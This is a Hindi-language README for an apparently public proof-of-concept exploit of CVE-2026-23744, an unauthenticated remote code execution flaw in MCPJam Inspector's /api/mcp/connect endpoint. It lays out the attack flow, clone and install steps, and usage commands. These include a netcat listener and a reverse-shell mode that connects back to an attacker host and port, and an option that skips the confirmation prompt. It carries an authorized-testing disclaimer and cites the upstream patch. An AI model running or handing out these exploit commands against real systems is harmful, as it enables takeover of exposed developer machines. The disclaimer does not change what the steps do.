CVE-2026-23744 — MCPJam Inspector बिना प्रमाणीकरण के RCE

बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन (Unauthenticated remote code execution) का PoC CVE-2026-23744 के लिए। MCPJam Inspector 1.4.2 और उससे पहले के संस्करण /api/mcp/connect के माध्यम से ऐसी कार्यक्षमता प्रकट करते हैं जो बिना प्रमाणीकरण के हमलावर-नियंत्रित MCP सर्वर कमांड लॉन्च कर सकती है।

केवल अधिकृत परीक्षण और अनुसंधान के लिए। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।

यह क्या करता है

HTTP POST -> /api/mcp/connect -> serverConfig command -> process launch -> command execution

1. एक निर्मित MCP serverConfig पेलोड तैयार करता है।
2. बिना प्रमाणीकरण वाले /api/mcp/connect एंडपॉइंट को लक्षित करता है।
3. bash -c के माध्यम से कॉन्फ़िगर किए गए कमांड को लॉन्च करता है।
4. सुरक्षित कमांड सत्यापन और रिवर्स शेल पेलोड का समर्थन करता है।
5. ट्रैफ़िक भेजने से पहले पेलोड निरीक्षण के लिए ड्राई-रन/डीबग मोड प्रदान करता है।

स्क्रीनशॉट

रिवर्स शेल सेटअप

MCPJam कनेक्ट पेलोड

शेल प्राप्त हुआ

सेटअप

git clone https://github.com/ozcanpng/CVE-2026-23744.git
cd CVE-2026-23744
pip install -r requirements.txt

उपयोग

सुरक्षित कमांड प्रमाण

python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --cmd 'id'

रिवर्स शेल

पहले एक लिसनर शुरू करें:

rlwrap nc -lvnp 4444

फिर चलाएँ:

python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --reverse-shell \
  --lhost 10.10.16.53 \
  --lport 4444

उपयोगी विकल्प:

--cmd COMMAND       निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id)
--server-id VALUE   निर्मित MCP कॉन्फ़िगर में serverId मान (डिफ़ॉल्ट: pwn)
--dry-run           HTTP अनुरोध भेजे बिना पेलोड प्रवाह बनाएं
--debug             एंडपॉइंट और JSON पेलोड प्रिंट करें
--verify-tls        HTTPS प्रमाणपत्र सत्यापित करें
--timeout SECONDS   HTTP टाइमआउट सेकंड में (डिफ़ॉल्ट: 8)
--yes               रिवर्स-शेल पुष्टिकरण प्रॉम्प्ट छोड़ें

प्रभावित

यह समस्या विशेष रूप से तब उजागर होती है जब MCPJam Inspector 0.0.0.0 पर सुनता है, जिससे दूरस्थ होस्ट डेवलपमेंट सेवा तक पहुँच सकते हैं।

नोट्स

• PoC /api/mcp/connect पर एक JSON पेलोड भेजता है।
• कमांड serverConfig.command और serverConfig.args के माध्यम से पास किया जाता है।
• रिवर्स शेल का प्रयास करने से पहले सुरक्षित सत्यापन के लिए --cmd का उपयोग करें।
• लक्ष्य को छुए बिना उत्पन्न अनुरोध का निरीक्षण करने के लिए --dry-run --debug का उपयोग करें।
• NVD के अनुसार संस्करण 1.4.3 में अपस्ट्रीम पैच शामिल है।

संदर्भ

• NVD — CVE-2026-23744
• GitHub Security Advisory — GHSA-232v-j27c-5pp6
• पैच कमिट
• MCPJam Inspector

PoC लेखक

ozcanpng — github.com/ozcanpng — ozcanpng.dev